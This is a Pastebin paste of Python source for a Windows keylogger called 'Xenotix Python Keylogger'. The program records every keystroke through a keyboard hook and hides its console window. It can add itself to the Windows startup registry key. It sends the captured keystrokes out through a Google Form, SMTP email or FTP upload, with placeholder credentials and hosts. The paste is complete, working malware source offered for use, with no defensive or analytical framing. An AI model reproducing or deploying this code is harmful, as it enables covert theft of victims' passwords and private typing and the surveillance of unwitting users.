Advertisement
Guest User

Tris

a guest
Aug 5th, 2015
237
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.88 KB | None | 0 0
  1. try:
  2. import pythoncom, pyHook
  3. except:
  4. print "Please Install pythoncom and pyHook modules"
  5. exit(0)
  6. import os
  7. import sys
  8. import threading
  9. import urllib,urllib2
  10. import smtplib
  11. import ftplib
  12. import datetime,time
  13. import win32event, win32api, winerror
  14. from _winreg import *
  15.  
  16. #Disallowing Multiple Instance
  17. mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz')
  18. if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
  19. mutex = None
  20. print "Multiple Instance not Allowed"
  21. exit(0)
  22. x=''
  23. data=''
  24. count=0
  25.  
  26. #Hide Console
  27. def hide():
  28. import win32console,win32gui
  29. window = win32console.GetConsoleWindow()
  30. win32gui.ShowWindow(window,0)
  31. return True
  32.  
  33. def msg():
  34. print """\n \nXenotix Python Keylogger for Windows
  35. Coder: Ajin Abraham <ajin25@gmail.com>
  36. OPENSECURITY.IN
  37. usage:xenotix_python_logger.py mode [optional:startup]
  38. mode:
  39. local: store the logs in a file [keylogs.txt]
  40.  
  41. remote: send the logs to a Google Form. You must specify the Form URL and Field Name in the script.
  42.  
  43. email: send the logs to an email. You must specify (SERVER,PORT,USERNAME,PASSWORD,TO).
  44.  
  45. ftp: upload logs file to an FTP account. You must specify (SERVER,USERNAME,PASSWORD,SSL OPTION,OUTPUT DIRECTORY).
  46. [optional] startup: This will add the keylogger to windows startup.\n\n"""
  47. return True
  48.  
  49. # Add to startup
  50. def addStartup():
  51. fp=os.path.dirname(os.path.realpath(__file__))
  52. file_name=sys.argv[0].split("\\")[-1]
  53. new_file_path=fp+"\\"+file_name
  54. keyVal= r'Software\Microsoft\Windows\CurrentVersion\Run'
  55.  
  56. key2change= OpenKey(HKEY_CURRENT_USER,
  57. keyVal,0,KEY_ALL_ACCESS)
  58.  
  59. SetValueEx(key2change, "Xenotix Keylogger",0,REG_SZ, new_file_path)
  60.  
  61. #Local Keylogger
  62. def local():
  63. global data
  64. if len(data)>100:
  65. fp=open("keylogs.txt","a")
  66. fp.write(data)
  67. fp.close()
  68. data=''
  69. return True
  70.  
  71. #Remote Google Form logs post
  72. def remote():
  73. global data
  74. if len(data)>100:
  75. url="https://docs.google.com/forms/d/xxxxxxxxxxxxxxxxxxxxxxxxxxxxx" #Specify Google Form URL here
  76. klog={'entry.xxxxxxxxxxx':data} #Specify the Field Name here
  77. try:
  78. dataenc=urllib.urlencode(klog)
  79. req=urllib2.Request(url,dataenc)
  80. response=urllib2.urlopen(req)
  81. data=''
  82. except Exception as e:
  83. print e
  84. return True
  85.  
  86. #Email Logs
  87. class TimerClass(threading.Thread):
  88. def __init__(self):
  89. threading.Thread.__init__(self)
  90. self.event = threading.Event()
  91. def run(self):
  92. while not self.event.is_set():
  93. global data
  94. if len(data)>100:
  95. ts = datetime.datetime.now()
  96. SERVER = "smtp.gmail.com" #Specify Server Here
  97. PORT = 587 #Specify Port Here
  98. USER="your_email@gmail.com"#Specify Username Here
  99. PASS="password_here"#Specify Password Here
  100. FROM = USER#From address is taken from username
  101. TO = ["to_address@gmail.com"] #Specify to address.Use comma if more than one to address is needed.
  102. SUBJECT = "Keylogger data: "+str(ts)
  103. MESSAGE = data
  104. message = """\
  105. From: %s
  106. To: %s
  107. Subject: %s
  108. %s
  109. """ % (FROM, ", ".join(TO), SUBJECT, MESSAGE)
  110. try:
  111. server = smtplib.SMTP()
  112. server.connect(SERVER,PORT)
  113. server.starttls()
  114. server.login(USER,PASS)
  115. server.sendmail(FROM, TO, message)
  116. data=''
  117. server.quit()
  118. except Exception as e:
  119. print e
  120. self.event.wait(120)
  121.  
  122. #Upload logs to FTP account
  123. def ftp():
  124. global data,count
  125. if len(data)>100:
  126. count+=1
  127. FILENAME="logs-"+str(count)+".txt"
  128. fp=open(FILENAME,"a")
  129. fp.write(data)
  130. fp.close()
  131. data=''
  132. try:
  133. SERVER="ftp.xxxxxx.com" #Specify your FTP Server address
  134. USERNAME="ftp_username" #Specify your FTP Username
  135. PASSWORD="ftp_password" #Specify your FTP Password
  136. SSL=0 #Set 1 for SSL and 0 for normal connection
  137. OUTPUT_DIR="/" #Specify output directory here
  138. if SSL==0:
  139. ft=ftplib.FTP(SERVER,USERNAME,PASSWORD)
  140. elif SSL==1:
  141. ft=ftplib.FTP_TLS(SERVER,USERNAME,PASSWORD)
  142. ft.cwd(OUTPUT_DIR)
  143. fp=open(FILENAME,'rb')
  144. cmd= 'STOR' +' '+FILENAME
  145. ft.storbinary(cmd,fp)
  146. ft.quit()
  147. fp.close()
  148. os.remove(FILENAME)
  149. except Exception as e:
  150. print e
  151. return True
  152.  
  153. def main():
  154. global x
  155. if len(sys.argv)==1:
  156. msg()
  157. exit(0)
  158. else:
  159. if len(sys.argv)>2:
  160. if sys.argv[2]=="startup":
  161. addStartup()
  162. else:
  163. msg()
  164. exit(0)
  165. if sys.argv[1]=="local":
  166. x=1
  167. hide()
  168. elif sys.argv[1]=="remote":
  169. x=2
  170. hide()
  171. elif sys.argv[1]=="email":
  172. hide()
  173. email=TimerClass()
  174. email.start()
  175. elif sys.argv[1]=="ftp":
  176. x=4
  177. hide()
  178. else:
  179. msg()
  180. exit(0)
  181. return True
  182.  
  183. if __name__ == '__main__':
  184. main()
  185.  
  186. def keypressed(event):
  187. global x,data
  188. if event.Ascii==13:
  189. keys='<ENTER>'
  190. elif event.Ascii==8:
  191. keys='<BACK SPACE>'
  192. elif event.Ascii==9:
  193. keys='<TAB>'
  194. else:
  195. keys=chr(event.Ascii)
  196. data=data+keys
  197. if x==1:
  198. local()
  199. elif x==2:
  200. remote()
  201. elif x==4:
  202. ftp()
  203.  
  204. obj = pyHook.HookManager()
  205. obj.KeyDown = keypressed
  206. obj.HookKeyboard()
  207. pythoncom.PumpMessages()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement